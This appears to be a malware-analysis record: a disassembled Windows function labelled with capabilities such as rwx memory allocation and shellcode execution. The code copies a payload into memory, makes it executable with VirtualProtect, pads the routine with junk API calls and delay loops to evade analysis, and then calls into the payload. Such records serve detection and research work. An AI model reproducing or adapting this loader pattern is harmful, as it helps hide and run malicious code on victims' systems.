Function at 0x401181
Capabilities:
Allocate or change rwx memory
Delete directory
Execute shellcode via indirect call
Get disk information
Move file

Disassembly:
mov eax, 0x803d01
call fcn.00802d54
sub esp, 0xc6c
cmp dword [0x2ee0afc], 0x93
push ebx
push esi
push edi
jne 0x4011e9
push str.piwiluyomakupasuzayun_varurucihicusoyehe
push str.gukiy_corotupuxoxacuzuruy
call dword [sym.imp.KERNEL32.dll_MoveFileW]
xor esi, esi
xor eax, eax
mov dword [ebp - 0x1c], 7
mov dword [ebp - 0x20], esi
mov word [ebp - 0x30], ax
push esi
mov dword [ebp - 4], esi
call fcn.00401625
push esi
push esi
call fcn.00401787
push esi
push esi
call fcn.0040160e
push esi
push esi
call fcn.00401787
add esp, 0x1c
push esi
call fcn.00401a3d
add dword [0x2ee0afc], 0x1134b
push dword [0x2ee0afc]
mov eax, dword [0x80a9b0]
xor esi, esi
push esi
mov dword [0x2ee1560], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [ebp - 0x14]
push ecx
push 0x40
push dword [0x2ee0afc]
mov dword [0x2ee04b4], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edi, edi
cmp dword [0x2ee0afc], esi
jbe 0x40126e
mov eax, dword [0x2ee1560]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x2ee04b4]
mov byte [ecx + edi], al
cmp dword [0x2ee0afc], 0x490
jne 0x401265
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetComputerNameExA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateJobObjectW]
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
inc edi
cmp edi, dword [0x2ee0afc]
jb 0x40122e
xor edi, edi
mov eax, dword [0x2ee0afc]
add eax, edi
cmp eax, 0x8d
jne 0x4012b8
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileWithProgressA]
push esi
call dword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea eax, [ebp - 0x10]
push eax
push esi
push str.vixepayecudoyih_gukonolagosefujusitericuxonewuz_figucebuzowuxibuni_lasodafawegegujix
push esi
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
inc edi
cmp edi, 0x38681
jl 0x401270
mov eax, dword [0x2ee0afc]
mov ecx, dword [0x2ee04b4]
shr eax, 3
cmp eax, esi
jbe 0x401308
mov edi, dword [sym.imp.KERNEL32.dll_AttachConsole]
mov ebx, ecx
mov dword [ebp - 0x10], eax
cmp dword [0x2ee0afc], 0x959
jne 0x4012fa
push esi
call edi
push esi
call edi
lea eax, [ebp - 0x78]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
push ebx
call fcn.00401007
add ebx, 8
dec dword [ebp - 0x10]
jne 0x4012de
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x62
jne 0x401328
mov dword [ebp - 0x10], esi
add dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
add dword [0x2ee04b4], eax
inc edi
cmp edi, 0x674db
jl 0x40130a
push 0x7b
pop ebx
cmp dword [0x2ee0afc], 0x86
jne 0x401392
push esi
lea eax, [ebp - 0xc78]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
push str.humosiwekir
push str.naxolamuminuh
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelW]
lea eax, [ebp - 0x478]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExA]
xor eax, eax
mov word [ebp - 0x10], ax
lea edi, [ebp - 0xe]
stosw word es:[edi], ax
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0x10]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputAttribute]
push esi
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_SetKernelObjectSecurity]
dec ebx
jne 0x401334
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x2ee04b4]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret